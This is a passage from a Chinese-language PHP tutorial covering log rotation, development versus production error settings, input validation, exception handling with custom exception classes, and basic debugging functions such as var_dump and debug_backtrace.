        $this->logDir = $logDir;
        $this->maxFileSize = $maxFileSize;  // 10MB
        $this->maxFiles = $maxFiles;

        if (!is_dir($this->logDir)) {
            mkdir($this->logDir, 0755, true);
        }
    }

    public function log($message, $level = 'INFO') {
        $timestamp = date('Y-m-d H:i:s');
        $logEntry = "[$timestamp] [$level] $message\n";

        $currentLogFile = $this->getCurrentLogFile();

        // 检查文件大小,如果超过限制则轮转
        if (file_exists($currentLogFile) && filesize($currentLogFile) > $this->maxFileSize) {
            $this->rotateLog();
        }

        file_put_contents($currentLogFile, $logEntry, FILE_APPEND | LOCK_EX);
    }

    private function getCurrentLogFile() {
        return $this->logDir . '/app.log';
    }

    private function rotateLog() {
        $currentLogFile = $this->getCurrentLogFile();

        // 移动现有的日志文件
        for ($i = $this->maxFiles - 1; $i > 0; $i--) {
            $oldFile = $currentLogFile . '.' . $i;
            $newFile = $currentLogFile . '.' . ($i + 1);

            if (file_exists($oldFile)) {
                if ($i == $this->maxFiles - 1) {
                    unlink($oldFile);  // 删除最旧的文件
                } else {
                    rename($oldFile, $newFile);
                }
            }
        }

        // 重命名当前日志文件
        if (file_exists($currentLogFile)) {
            rename($currentLogFile, $currentLogFile . '.1');
        }
    }

    public function cleanOldLogs($days = 30) {
        $files = glob($this->logDir . '/*.log*');
        $cutoffTime = time() - ($days * 24 * 60 * 60);

        foreach ($files as $file) {
            if (filemtime($file) < $cutoffTime) {
                unlink($file);
            }
        }
    }
}

// 使用示例
$logger = new ErrorLogger('logs', 1048576, 5);  // 1MB,最多5个文件
$logger->log("应用程序启动", "INFO");
$logger->log("用户登录", "INFO");
$logger->log("处理请求", "DEBUG");
?>

开发环境 vs 生产环境

开发环境配置

<?php
function setDevelopmentEnvironment() {
    // 显示所有错误
    error_reporting(E_ALL);
    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);

    // 设置详细的错误报告
    ini_set('log_errors', 1);
    ini_set('error_log', 'dev_errors.log');

    // 启用调试信息
    ini_set('html_errors', 1);
    ini_set('docref_root', 'http://php.net/manual/en/');

    echo "开发环境错误处理已启用\n";
}

// 开发环境的错误处理器
function developmentErrorHandler($errno, $errstr, $errfile, $errline) {
    echo "<div style='background: #ffeeee; border: 1px solid #ff0000; padding: 10px; margin: 10px;'>";
    echo "<strong>错误:</strong> $errstr<br>";
    echo "<strong>文件:</strong> $errfile<br>";
    echo "<strong>行号:</strong> $errline<br>";

    // 显示调用栈
    echo "<strong>调用栈:</strong><br>";
    debug_print_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);

    echo "</div>";
    return true;
}

setDevelopmentEnvironment();
set_error_handler('developmentErrorHandler');
?>

生产环境配置

<?php
function setProductionEnvironment() {
    // 不显示错误给用户
    error_reporting(E_ALL & ~E_DEPRECATED & ~E_STRICT);
    ini_set('display_errors', 0);
    ini_set('display_startup_errors', 0);

    // 记录所有错误
    ini_set('log_errors', 1);
    ini_set('error_log', '/var/log/php/production_errors.log');

    // 设置错误日志格式
    ini_set('log_errors_max_len', 1024);

    echo "生产环境错误处理已配置\n";
}

// 生产环境的错误处理器
function productionErrorHandler($errno, $errstr, $errfile, $errline) {
    // 记录错误到文件
    $logEntry = sprintf(
        "[%s] [%d] %s in %s on line %d [URL: %s] [IP: %s]",
        date('Y-m-d H:i:s'),
        $errno,
        $errstr,
        $errfile,
        $errline,
        $_SERVER['REQUEST_URI'] ?? 'CLI',
        $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1'
    );

    file_put_contents('production_errors.log', $logEntry . PHP_EOL, FILE_APPEND);

    // 发送邮件通知管理员(仅对严重错误)
    if ($errno === E_ERROR || $errno === E_USER_ERROR) {
        error_log("严重错误: $logEntry", 1, 'admin@example.com');
    }

    // 显示友好的错误页面给用户
    if (!headers_sent()) {
        header('HTTP/1.1 500 Internal Server Error');
        include 'error_pages/500.html';
    }

    return true;
}

// 设置环境
setProductionEnvironment();
set_error_handler('productionErrorHandler');
?>

常见错误排查技巧

1. 启用详细错误报告

<?php
// 临时启用所有错误报告
ini_set('display_errors', 1);
error_reporting(E_ALL);

// 或者使用
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(-1);  // -1 表示所有错误
?>

2. 检查语法错误

<?php
// 使用命令行检查语法
// php -l filename.php

// 在代码中检查语法
function checkSyntax($code) {
    $tempFile = tempnam(sys_get_temp_dir(), 'syntax_check');
    file_put_contents($tempFile, "<?php\n" . $code);

    $output = [];
    $returnCode = 0;
    exec("php -l $tempFile 2>&1", $output, $returnCode);

    unlink($tempFile);

    return $returnCode === 0;
}

// 使用示例
$code = 'echo "Hello World"';  // 缺少分号
if (!checkSyntax($code)) {
    echo "代码存在语法错误\n";
}
?>

3. 使用var_dump()调试

<?php
function debugVariable($var, $label = '') {
    echo "<pre>";
    if ($label) {
        echo "$label: ";
    }
    var_dump($var);
    echo "</pre>";
}

function debugArray($array) {
    echo "<pre>";
    print_r($array);
    echo "</pre>";
}

// 使用示例
$user = ['name' => 'John', 'age' => 30, 'email' => 'john@example.com'];
debugVariable($user, '用户信息');
debugArray($user);
?>

错误预防策略

1. 输入验证

<?php
function validateInput($data, $rules) {
    $errors = [];

    foreach ($rules as $field => $rule) {
        $value = $data[$field] ?? null;

        // 必填验证
        if (isset($rule['required']) && $rule['required'] && empty($value)) {
            $errors[$field] = "$field 是必填字段";
            continue;
        }

        // 类型验证
        if (isset($rule['type']) && $value !== null) {
            switch ($rule['type']) {
                case 'email':
                    if (!filter_var($value, FILTER_VALIDATE_EMAIL)) {
                        $errors[$field] = "$field 必须是有效的邮箱地址";
                    }
                    break;
                case 'int':
                    if (!filter_var($value, FILTER_VALIDATE_INT)) {
                        $errors[$field] = "$field 必须是整数";
                    }
                    break;
                case 'string':
                    if (!is_string($value)) {
                        $errors[$field] = "$field 必须是字符串";
                    }
                    break;
            }
        }

        // 长度验证
        if (isset($rule['min_length']) && strlen($value) < $rule['min_length']) {
            $errors[$field] = "$field 长度不能少于 {$rule['min_length']} 个字符";
        }

        if (isset($rule['max_length']) && strlen($value) > $rule['max_length']) {
            $errors[$field] = "$field 长度不能超过 {$rule['max_length']} 个字符";
        }
    }

    return $errors;
}

// 使用示例
$userData = [
    'name' => 'Jo',
    'email' => 'invalid-email',
    'age' => 'not_a_number'
];

$rules = [
    'name' => [
        'required' => true,
        'type' => 'string',
        'min_length' => 2,
        'max_length' => 50
    ],
    'email' => [
        'required' => true,
        'type' => 'email'
    ],
    'age' => [
        'type' => 'int'
    ]
];

$errors = validateInput($userData, $rules);
if (!empty($errors)) {
    echo "验证失败:\n";
    print_r($errors);
}
?>

2. 使用isset()检查变量

<?php
// 安全的数组访问
function safeArrayAccess($array, $key, $default = null) {
    return isset($array[$key]) ? $array[$key] : $default;
}

// 安全的对象属性访问
function safePropertyAccess($object, $property, $default = null) {
    return isset($object->$property) ? $object->$property : $default;
}

// 使用示例
$config = [
    'database' => [
        'host' => 'localhost',
        'port' => 3306
    ]
];

$dbHost = safeArrayAccess($config, 'database')['host'] ?? 'default_host';
$dbPort = safeArrayAccess($config, 'database', ['port' => 'default_port'])['port'];
$unknown = safeArrayAccess($config, 'unknown', 'default_value');
?>

3. 使用三元运算符和null合并操作符

<?php
// 传统方式
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = 1;
}

// 使用三元运算符
$page = isset($_GET['page']) ? $_GET['page'] : 1;

// 使用null合并操作符(PHP 7+)
$page = $_GET['page'] ?? 1;

// 链式null合并操作符
$user = $_GET['user'] ?? $_SESSION['user'] ?? $defaultUser;

// 安全的数组访问
$config = $config['database']['host'] ?? 'localhost';
?>

通过本节的学习,你应该了解了PHP中不同类型的错误、如何配置错误报告、以及如何处理和预防错误。理解这些概念对于编写健壮、可靠的PHP应用程序至关重要。下一节我们将学习更高级的异常处理机制。

异常处理机制

什么是异常

异常(Exception)是PHP中用于处理错误和异常情况的一种机制。与传统的错误处理方式不同,异常提供了一种更加结构化和灵活的方式来处理程序运行时出现的问题。

异常是程序在执行过程中发生的、打断了正常指令流程的事件。当异常发生时,程序会创建一个异常对象,并寻找能够处理这个异常的代码。

异常 vs 错误

特性错误(Error)异常(Exception)
处理方式由错误处理器处理由try-catch块处理
可恢复性通常不可恢复可以恢复并继续执行
类型内置错误级别可以自定义异常类
面向对象不是面向对象的面向对象的机制
追踪信息有限的信息详细的堆栈跟踪

异常的基本语法

try-catch 块

<?php
try {
    // 可能抛出异常的代码
    $result = 10 / 0;
} catch (Exception $e) {
    // 处理异常的代码
    echo "捕获到异常: " . $e->getMessage();
}
?>

基本异常处理示例

<?php
function divide($a, $b) {
    if ($b == 0) {
        // 抛出异常
        throw new Exception("除数不能为零");
    }
    return $a / $b;
}

try {
    echo divide(10, 2) . "\n";  // 正常执行
    echo divide(10, 0) . "\n";  // 抛出异常
    echo "这行不会执行\n";      // 异常后的代码不会执行
} catch (Exception $e) {
    echo "捕获异常: " . $e->getMessage() . "\n";
    echo "文件: " . $e->getFile() . "\n";
    echo "行号: " . $e->getLine() . "\n";
}

echo "程序继续执行\n";
?>

Exception 类

PHP内置的Exception类提供了异常的基本功能:

<?php
$exception = new Exception("这是一个异常");

// Exception类的主要方法
echo $exception->getMessage();  // 获取异常消息
echo $exception->getCode();     // 获取异常代码
echo $exception->getFile();     // 获取抛出异常的文件
echo $exception->getLine();     // 获取抛出异常的行号
echo $exception->getTrace();    // 获取异常堆栈跟踪
echo $exception->getTraceAsString();  // 获取格式化的堆栈跟踪
echo $exception->__toString();  // 将异常转换为字符串
?>

自定义异常消息和代码

<?php
class DatabaseException extends Exception {
    public function __construct($message, $code = 0, Exception $previous = null) {
        parent::__construct($message, $code, $previous);
    }

    public function getDetailedMessage() {
        return "数据库错误: " . $this->getMessage() .
               " (代码: " . $this->getCode() . ")";
    }
}

class ValidationException extends Exception {
    private $errors;

    public function __construct($errors, $message = "验证失败", $code = 0) {
        $this->errors = $errors;
        parent::__construct($message, $code);
    }

    public function getErrors() {
        return $this->errors;
    }

    public function getFirstError() {
        return $this->errors[0] ?? '未知错误';
    }
}

// 使用自定义异常
try {
    $errors = ['name' => '姓名不能为空', 'email' => '邮箱格式不正确'];
    throw new ValidationException($errors);
} catch (ValidationException $e) {
    echo $e->getMessage() . "\n";
    echo "具体错误: " . implode(', ', $e->getErrors()) . "\n";
}
?>

多个 catch 块

<?php
class FileNotFoundException extends Exception {}
class FileReadException extends Exception {}

function readFileContent($filename) {
    if (!file_exists($filename)) {
        throw new FileNotFoundException("文件不存在: $filename");
    }

    $content = file_get_contents($filename);
    if ($content === false) {
        throw new FileReadException("无法读取文件: $filename");
    }

    return $content;
}

try {
    $content = readFileContent("non_existent_file.txt");
} catch (FileNotFoundException $e) {
    echo "文件未找到: " . $e->getMessage() . "\n";
} catch (FileReadException $e) {
    echo "读取失败: " . $e->getMessage() . "\n";
} catch (Exception $e) {
    // 捕获所有其他异常
    echo "未知错误: " . $e->getMessage() . "\n";
}
?>

finally 块

finally块无论是否发生异常都会执行,通常用于清理资源。

<?php
function processFile($filename) {
    $handle = null;
    try {
        echo "尝试打开文件\n";
        $handle = fopen($filename, 'r');

        if (!$handle) {
            throw new Exception("无法打开文件");
        }

        echo "文件处理中...\n";
        return "处理完成";

    } catch (Exception $e) {
        echo "捕获异常: " . $e->getMessage() . "\n";
        return "处理失败";
    } finally {
        // 无论是否发生异常都会执行
        if ($handle) {
            fclose($handle);
            echo "文件已关闭\n";
        }
        echo "清理工作完成\n";
    }
}

// 测试
$result = processFile("test.txt");
echo "结果: $result\n";

$result = processFile("non_existent.txt");
echo "结果: $result\n";
?>

抛出异常

throw 关键字

<?php
function validateAge($age) {
    if ($age < 0) {
        throw new InvalidArgumentException("年龄不能为负数");
    }
    if ($age > 150) {
        throw new InvalidArgumentException("年龄不能超过150");
    }
    return true;
}

function calculateBMI($weight, $height) {
    if ($height <= 0) {
        throw new RuntimeException("身高必须大于0");
    }
    if ($weight <= 0) {
        throw new RuntimeException("体重必须大于0");
    }

    return $weight / ($height * $height);
}

// 使用示例
try {
    validateAge(-5);  // 抛出异常
} catch (InvalidArgumentException $e) {
    echo "验证错误: " . $e->getMessage() . "\n";
}

try {
    $bmi = calculateBMI(70, 1.75);
    echo "BMI指数: " . round($bmi, 2) . "\n";
} catch (RuntimeException $e) {
    echo "计算错误: " . $e->getMessage() . "\n";
}
?>

异常链

<?php
class DatabaseConnectionException extends Exception {}
class QueryException extends Exception {}

function executeQuery($sql) {
    try {
        // 模拟数据库连接失败
        throw new DatabaseConnectionException("无法连接到数据库");
    } catch (DatabaseConnectionException $e) {
        // 抛出新异常,并保留原始异常
        throw new QueryException("查询执行失败: $sql", 0, $e);
    }
}

try {
    executeQuery("SELECT * FROM users");
} catch (QueryException $e) {
    echo "当前异常: " . $e->getMessage() . "\n";

    // 获取前一个异常
    $previous = $e->getPrevious();
    if ($previous) {
        echo "原始异常: " . $previous->getMessage() . "\n";
    }
}
?>

嵌套异常处理

<?php
function outerFunction() {
    try {
        echo "外层函数开始\n";
        innerFunction();
        echo "外层函数结束\n";
    } catch (Exception $e) {
        echo "外层捕获异常: " . $e->getMessage() . "\n";
        throw new Exception("外层函数处理失败", 0, $e);
    }
}

function middleFunction() {
    try {
        echo "中层函数开始\n";
        innerFunction();
        echo "中层函数结束\n";
    } catch (InvalidArgumentException $e) {
        echo "中层捕获参数异常: " . $e->getMessage() . "\n";
        // 重新抛出异常
        throw $e;
    }
}

function innerFunction() {
    try {
        echo "内层函数开始\n";
        throw new InvalidArgumentException("参数无效");
        echo "内层函数结束\n";
    } catch (RuntimeException $e) {
        echo "内层捕获运行时异常: " . $e->getMessage() . "\n";
    }
}

try {
    outerFunction();
} catch (Exception $e) {
    echo "最外层捕获异常: " . $e->getMessage() . "\n";

    // 显示完整的异常链
    $current = $e;
    $level = 0;
    while ($current) {
        echo "层级 $level: " . $current->getMessage() . "\n";
        $current = $current->getPrevious();
        $level++;
    }
}
?>

实际应用示例

1. 用户注册验证

<?php
class UserRegistrationException extends Exception {
    private $errors;

    public function __construct($errors, $message = "用户注册失败", $code = 0) {
        $this->errors = $errors;
        parent::__construct($message, $code);
    }

    public function getErrors() {
        return $this->errors;
    }
}

class UserService {
    public function registerUser($userData) {
        $errors = $this->validateUserData($userData);

        if (!empty($errors)) {
            throw new UserRegistrationException($errors);
        }

        // 检查用户是否已存在
        if ($this->userExists($userData['email'])) {
            throw new UserRegistrationException(
                ['email' => '该邮箱已被注册'],
                "用户已存在"
            );
        }

        // 创建用户
        $userId = $this->createUser($userData);
        return $userId;
    }

    private function validateUserData($userData) {
        $errors = [];

        if (empty($userData['name'])) {
            $errors['name'] = '姓名不能为空';
        } elseif (strlen($userData['name']) < 2) {
            $errors['name'] = '姓名至少2个字符';
        }

        if (empty($userData['email'])) {
            $errors['email'] = '邮箱不能为空';
        } elseif (!filter_var($userData['email'], FILTER_VALIDATE_EMAIL)) {
            $errors['email'] = '邮箱格式不正确';
        }

        if (empty($userData['password'])) {
            $errors['password'] = '密码不能为空';
        } elseif (strlen($userData['password']) < 6) {
            $errors['password'] = '密码至少6个字符';
        }

        return $errors;
    }

    private function userExists($email) {
        // 模拟数据库查询
        $existingUsers = ['user1@example.com', 'user2@example.com'];
        return in_array($email, $existingUsers);
    }

    private function createUser($userData) {
        // 模拟创建用户
        echo "用户创建成功: {$userData['name']} ({$userData['email']})\n";
        return uniqid('user_');
    }
}

// 使用示例
$userService = new UserService();

$testUsers = [
    // 测试1:数据不完整
    [
        'name' => '',
        'email' => 'invalid-email',
        'password' => '123'
    ],
    // 测试2:用户已存在
    [
        'name' => '张三',
        'email' => 'user1@example.com',
        'password' => '123456'
    ],
    // 测试3:正常注册
    [
        'name' => '李四',
        'email' => 'lisi@example.com',
        'password' => '123456'
    ]
];

foreach ($testUsers as $index => $userData) {
    echo "\n=== 测试 " . ($index + 1) . " ===\n";
    try {
        $userId = $userService->registerUser($userData);
        echo "注册成功,用户ID: $userId\n";
    } catch (UserRegistrationException $e) {
        echo "注册失败: " . $e->getMessage() . "\n";
        foreach ($e->getErrors() as $field => $error) {
            echo "  $field: $error\n";
        }
    }
}
?>

2. 文件操作异常处理

<?php
class FileOperationException extends Exception {
    private $filename;

    public function __construct($filename, $message, $code = 0, Exception $previous = null) {
        $this->filename = $filename;
        parent::__construct($message, $code, $previous);
    }

    public function getFilename() {
        return $this->filename;
    }
}

class FileManager {
    private $basePath;

    public function __construct($basePath = './files') {
        $this->basePath = $basePath;
        $this->ensureDirectoryExists($basePath);
    }

    public function writeFile($filename, $content) {
        $fullPath = $this->basePath . '/' . $filename;

        try {
            // 检查目录是否可写
            $this->checkDirectoryWritable(dirname($fullPath));

            // 写入文件
            $bytesWritten = file_put_contents($fullPath, $content, LOCK_EX);

            if ($bytesWritten === false) {
                throw new FileOperationException($filename, "文件写入失败");
            }

            echo "文件写入成功: $filename ($bytesWritten 字节)\n";
            return true;

        } catch (Exception $e) {
            if (!($e instanceof FileOperationException)) {
                throw new FileOperationException($filename, "文件操作异常", 0, $e);
            }
            throw $e;
        }
    }

    public function readFile($filename) {
        $fullPath = $this->basePath . '/' . $filename;

        try {
            // 检查文件是否存在
            if (!file_exists($fullPath)) {
                throw new FileOperationException($filename, "文件不存在");
            }

            // 检查文件是否可读
            if (!is_readable($fullPath)) {
                throw new FileOperationException($filename, "文件不可读");
            }

            $content = file_get_contents($fullPath);

            if ($content === false) {
                throw new FileOperationException($filename, "文件读取失败");
            }

            echo "文件读取成功: $filename\n";
            return $content;

        } catch (Exception $e) {
            if (!($e instanceof FileOperationException)) {
                throw new FileOperationException($filename, "文件操作异常", 0, $e);
            }
            throw $e;
        }
    }

    public function copyFile($sourceFile, $destinationFile) {
        try {
            $content = $this->readFile($sourceFile);
            $this->writeFile($destinationFile, $content);
            echo "文件复制成功: $sourceFile -> $destinationFile\n";
        } catch (FileOperationException $e) {
            throw new FileOperationException(
                "$sourceFile -> $destinationFile",
                "文件复制失败: " . $e->getMessage(),
                0,
                $e
            );
        }
    }

    private function ensureDirectoryExists($directory) {
        if (!is_dir($directory)) {
            if (!mkdir($directory, 0755, true)) {
                throw new FileOperationException($directory, "目录创建失败");
            }
        }
    }

    private function checkDirectoryWritable($directory) {
        if (!is_writable($directory)) {
            throw new FileOperationException($directory, "目录不可写");
        }
    }
}

// 使用示例
try {
    $fileManager = new FileManager();

    // 写入文件
    $fileManager->writeFile('test.txt', 'Hello, World!');

    // 读取文件
    $content = $fileManager->readFile('test.txt');
    echo "文件内容: $content\n";

    // 复制文件
    $fileManager->copyFile('test.txt', 'backup.txt');

    // 测试错误情况
    $fileManager->readFile('nonexistent.txt');

} catch (FileOperationException $e) {
    echo "文件操作错误: " . $e->getMessage() . "\n";
    echo "文件名: " . $e->getFilename() . "\n";

    // 显示异常链
    $previous = $e->getPrevious();
    if ($previous) {
        echo "原始错误: " . $previous->getMessage() . "\n";
    }
}
?>

3. API响应异常处理

<?php
class APIException extends Exception {
    private $httpCode;
    private $response;

    public function __construct($message, $httpCode = 500, $response = null, $code = 0, Exception $previous = null) {
        $this->httpCode = $httpCode;
        $this->response = $response;
        parent::__construct($message, $code, $previous);
    }

    public function getHttpCode() {
        return $this->httpCode;
    }

    public function getResponse() {
        return $this->response;
    }
}

class APIClient {
    private $baseURL;
    private $timeout;

    public function __construct($baseURL, $timeout = 30) {
        $this->baseURL = rtrim($baseURL, '/');
        $this->timeout = $timeout;
    }

    public function request($method, $endpoint, $data = []) {
        $url = $this->baseURL . '/' . ltrim($endpoint, '/');

        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => $this->timeout,
            CURLOPT_CUSTOMREQUEST => strtoupper($method),
            CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
        ]);

        if (!empty($data)) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
        }

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $error = curl_error($ch);
        curl_close($ch);

        if ($error) {
            throw new APIException("网络请求失败: $error", 0);
        }

        if ($httpCode >= 400) {
            $responseData = json_decode($response, true);
            $message = $responseData['message'] ?? "API请求失败";
            throw new APIException($message, $httpCode, $responseData);
        }

        return json_decode($response, true);
    }

    public function get($endpoint) {
        return $this->request('GET', $endpoint);
    }

    public function post($endpoint, $data) {
        return $this->request('POST', $endpoint, $data);
    }

    public function put($endpoint, $data) {
        return $this->request('PUT', $endpoint, $data);
    }

    public function delete($endpoint) {
        return $this->request('DELETE', $endpoint);
    }
}

class UserServiceAPI {
    private $client;

    public function __construct(APIClient $client) {
        $this->client = $client;
    }

    public function getUser($id) {
        try {
            return $this->client->get("users/$id");
        } catch (APIException $e) {
            if ($e->getHttpCode() === 404) {
                throw new APIException("用户不存在", 404);
            }
            throw $e;
        }
    }

    public function createUser($userData) {
        try {
            return $this->client->post('users', $userData);
        } catch (APIException $e) {
            if ($e->getHttpCode() === 422) {
                throw new APIException("用户数据验证失败: " . $e->getMessage(), 422);
            }
            throw $e;
        }
    }

    public function updateUser($id, $userData) {
        try {
            return $this->client->put("users/$id", $userData);
        } catch (APIException $e) {
            if ($e->getHttpCode() === 404) {
                throw new APIException("用户不存在,无法更新", 404);
            }
            throw $e;
        }
    }

    public function deleteUser($id) {
        try {
            return $this->client->delete("users/$id");
        } catch (APIException $e) {
            if ($e->getHttpCode() === 404) {
                throw new APIException("用户不存在,无法删除", 404);
            }
            throw $e;
        }
    }
}

// 模拟使用
function simulateAPI() {
    echo "=== API调用演示 ===\n";

    // 模拟API客户端
    $client = new APIClient('https://api.example.com', 10);
    $userService = new UserServiceAPI($client);

    // 模拟各种API调用
    $operations = [
        ['method' => 'getUser', 'params' => [1], 'expectError' => false],
        ['method' => 'getUser', 'params' => [999], 'expectError' => true],  // 用户不存在
        ['method' => 'createUser', 'params' => [['name' => '']], 'expectError' => true],  // 验证失败
        ['method' => 'updateUser', 'params' => [999, ['name' => 'Test']], 'expectError' => true],  // 用户不存在
    ];

    foreach ($operations as $index => $operation) {
        echo "\n--- 操作 " . ($index + 1) . " ---\n";
        try {
            $result = $userService->{$operation['method']}(...$operation['params']);
            echo "操作成功\n";
            if ($result) {
                echo "结果: " . json_encode($result, JSON_UNESCAPED_UNICODE) . "\n";
            }
        } catch (APIException $e) {
            echo "API异常: " . $e->getMessage() . "\n";
            echo "HTTP状态码: " . $e->getHttpCode() . "\n";
            if ($e->getResponse()) {
                echo "响应数据: " . json_encode($e->getResponse(), JSON_UNESCAPED_UNICODE) . "\n";
            }
        }
    }
}

simulateAPI();
?>

异常处理的最佳实践

1. 异常处理的时机

<?php
// 好的做法:对可恢复的错误使用异常
function processPayment($amount) {
    if ($amount <= 0) {
        throw new InvalidArgumentException("金额必须大于0");
    }

    if ($amount > 10000) {
        throw new RuntimeException("单笔交易金额不能超过10000");
    }

    // 处理支付逻辑
    return processPaymentLogic($amount);
}

// 不好的做法:对预期内的错误使用异常
function getUser($id) {
    if ($id <= 0) {
        throw new InvalidArgumentException("ID必须大于0");  // 不如直接返回false
    }

    $user = findUserInDatabase($id);
    if (!$user) {
        throw new RuntimeException("用户不存在");  // 不如返回null
    }

    return $user;
}

// 更好的做法
function getUser($id) {
    if ($id <= 0) {
        return false;
    }

    return findUserInDatabase($id) ?: null;
}
?>

2. 异常粒度控制

<?php
// 过细的异常粒度(不推荐)
class TooShortNameException extends Exception {}
class TooLongNameException extends Exception {}
class InvalidCharacterException extends Exception {}

// 合适的异常粒度(推荐)
class ValidationException extends Exception {
    private $field;
    private $value;

    public function __construct($field, $value, $message, $code = 0) {
        $this->field = $field;
        $this->value = $value;
        parent::__construct($message, $code);
    }

    public function getField() { return $this->field; }
    public function getValue() { return $this->value; }
}

function validateName($name) {
    if (strlen($name) < 2) {
        throw new ValidationException('name', $name, '姓名至少2个字符');
    }
    if (strlen($name) > 50) {
        throw new ValidationException('name', $name, '姓名不能超过50个字符');
    }
    if (!preg_match('/^[a-zA-Z\s]+$/', $name)) {
        throw new ValidationException('name', $name, '姓名只能包含字母和空格');
    }
    return true;
}
?>

3. 异常信息规范

<?php
// 好的做法:提供清晰的异常信息
class DatabaseException extends Exception {
    public function __construct($operation, $table, $message, $code = 0, Exception $previous = null) {
        $fullMessage = "数据库操作失败 [$operation] 表[$table]: $message";
        parent::__construct($fullMessage, $code, $previous);
    }
}

// 使用
try {
    executeQuery("SELECT", "users", "WHERE id = ?");
} catch (DatabaseException $e) {
    error_log($e->getMessage());  // 清晰的错误日志
    showUserError("系统暂时繁忙,请稍后再试");  // 用户友好的提示
}

// 异常信息应该包含:
// 1. 发生了什么
// 2. 在哪里发生
// 3. 为什么发生
// 4. 如何修复(如果可能)
?>

4. 异常与日志记录

<?php
class ExceptionLogger {
    private $logFile;

    public function __construct($logFile = 'exceptions.log') {
        $this->logFile = $logFile;
    }

    public function logException(Exception $e) {
        $timestamp = date('Y-m-d H:i:s');
        $context = $this->getContext();

        $logEntry = sprintf(
            "[%s] %s: %s\n文件: %s (%d)\n请求: %s\nIP: %s\n堆栈跟踪:\n%s\n---\n",
            $timestamp,
            get_class($e),
            $e->getMessage(),
            $e->getFile(),
            $e->getLine(),
            $context['request'] ?? 'CLI',
            $context['ip'] ?? '127.0.0.1',
            $e->getTraceAsString()
        );

        file_put_contents($this->logFile, $logEntry, FILE_APPEND | LOCK_EX);
    }

    private function getContext() {
        $context = [];

        if (isset($_SERVER['REQUEST_URI'])) {
            $context['request'] = $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'];
        }

        if (isset($_SERVER['REMOTE_ADDR'])) {
            $context['ip'] = $_SERVER['REMOTE_ADDR'];
        }

        if (isset($_SERVER['HTTP_USER_AGENT'])) {
            $context['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        }

        return $context;
    }
}

// 全局异常处理器
function globalExceptionHandler($exception) {
    $logger = new ExceptionLogger();
    $logger->logException($exception);

    // 显示友好的错误页面
    http_response_code(500);
    include 'error_pages/500.html';
}

// 设置全局异常处理器
set_exception_handler('globalExceptionHandler');

// 使用示例
throw new Exception("这是一个测试异常");
?>

异常处理的性能考虑

异常处理的开销

<?php
// 测试异常处理的性能
function testWithException($iterations = 1000) {
    $start = microtime(true);

    for ($i = 0; $i < $iterations; $i++) {
        try {
            if ($i % 2 == 0) {
                throw new Exception("测试异常");
            }
        } catch (Exception $e) {
            // 处理异常
        }
    }

    $end = microtime(true);
    return $end - $start;
}

function testWithoutException($iterations = 1000) {
    $start = microtime(true);

    for ($i = 0; $i < $iterations; $i++) {
        if ($i % 2 == 0) {
            // 使用错误码而不是异常
            $result = ['error' => '测试错误'];
        }
    }

    $end = microtime(true);
    return $end - $start;
}

echo "异常处理时间: " . testWithException() . " 秒\n";
echo "错误码处理时间: " . testWithoutException() . " 秒\n";

// 建议:
// 1. 不要在性能敏感的代码路径中使用异常
// 2. 异常应该用于真正的异常情况,而不是控制流
// 3. 对于预期的错误,考虑使用返回值
?>

通过本节的学习,你应该掌握了PHP异常处理机制的各个方面,包括基本语法、自定义异常、嵌套处理、实际应用和最佳实践。异常处理是构建健壮、可维护应用程序的重要组成部分,下一节我们将学习PHP调试技巧。

调试技巧

什么是调试

调试(Debugging)是发现、分析和修复程序错误的过程。良好的调试技巧是每个程序员必须掌握的基本技能,它能帮助我们快速定位问题并找到解决方案。

调试不仅仅是修复错误,更重要的是理解错误发生的原因,从而写出更好的代码。

基本调试方法

1. 使用 echo 和 print_r

最简单的调试方法就是使用 echo 语句输出变量的值。

<?php
// 基本输出调试
$name = "John";
$age = 25;

echo "调试信息:\n";
echo "姓名: $name\n";
echo "年龄: $age\n";

// 输出数组
$user = [
    'name' => 'John',
    'age' => 25,
    'email' => 'john@example.com'
];

echo "\n用户信息:\n";
print_r($user);
?>

2. 使用 var_dump()

var_dump() 提供更详细的变量信息,包括类型和长度。

<?php
// var_dump() 示例
$variables = [
    'string' => 'Hello World',
    'integer' => 42,
    'float' => 3.14,
    'boolean' => true,
    'array' => ['a', 'b', 'c'],
    'null' => null
];

foreach ($variables as $name => $value) {
    echo "\n变量 '$name' 的详细信息:\n";
    var_dump($value);
}

// 复杂结构的调试
$config = [
    'database' => [
        'host' => 'localhost',
        'port' => 3306,
        'credentials' => [
            'username' => 'admin',
            'password' => 'secret'
        ]
    ],
    'debug' => true,
    'version' => '1.0.0'
];

echo "\n配置详细信息:\n";
var_dump($config);
?>

3. 使用 die() 或 exit()

在调试时,有时候需要在某个点停止程序执行。

<?php
// die() 调试示例
function processOrder($orderData) {
    echo "开始处理订单\n";

    // 检查订单数据
    if (!isset($orderData['id'])) {
        echo "错误:订单ID缺失\n";
        var_dump($orderData);
        die("停止执行");
    }

    echo "订单ID: " . $orderData['id'] . "\n";

    // 继续处理...
    return true;
}

// 测试
$order = ['name' => 'Test Order'];
processOrder($order);
?>

高级调试技巧

1. 使用 debug_backtrace()

debug_backtrace() 可以显示函数调用的堆栈信息。

<?php
function functionA() {
    echo "在函数 A 中\n";
    functionB();
}

function functionB() {
    echo "在函数 B 中\n";
    functionC();
}

function functionC() {
    echo "在函数 C 中\n";

    echo "\n调用堆栈:\n";
    $backtrace = debug_backtrace();

    foreach ($backtrace as $trace) {
        echo "函数: " . ($trace['function'] ?? '未知') . "\n";
        echo "文件: " . ($trace['file'] ?? '未知') . "\n";
        echo "行号: " . ($trace['line'] ?? '未知') . "\n";
        echo "-------------------\n";
    }
}

// 调用链
functionA();
?>

2. 使用 debug_print_backtrace()

debug_print_backtrace() 直接输出堆栈信息。

<?php
function calculateTotal($price, $quantity) {
    echo "计算总价: $price × $quantity\n";
    $result = multiply($price, $quantity);
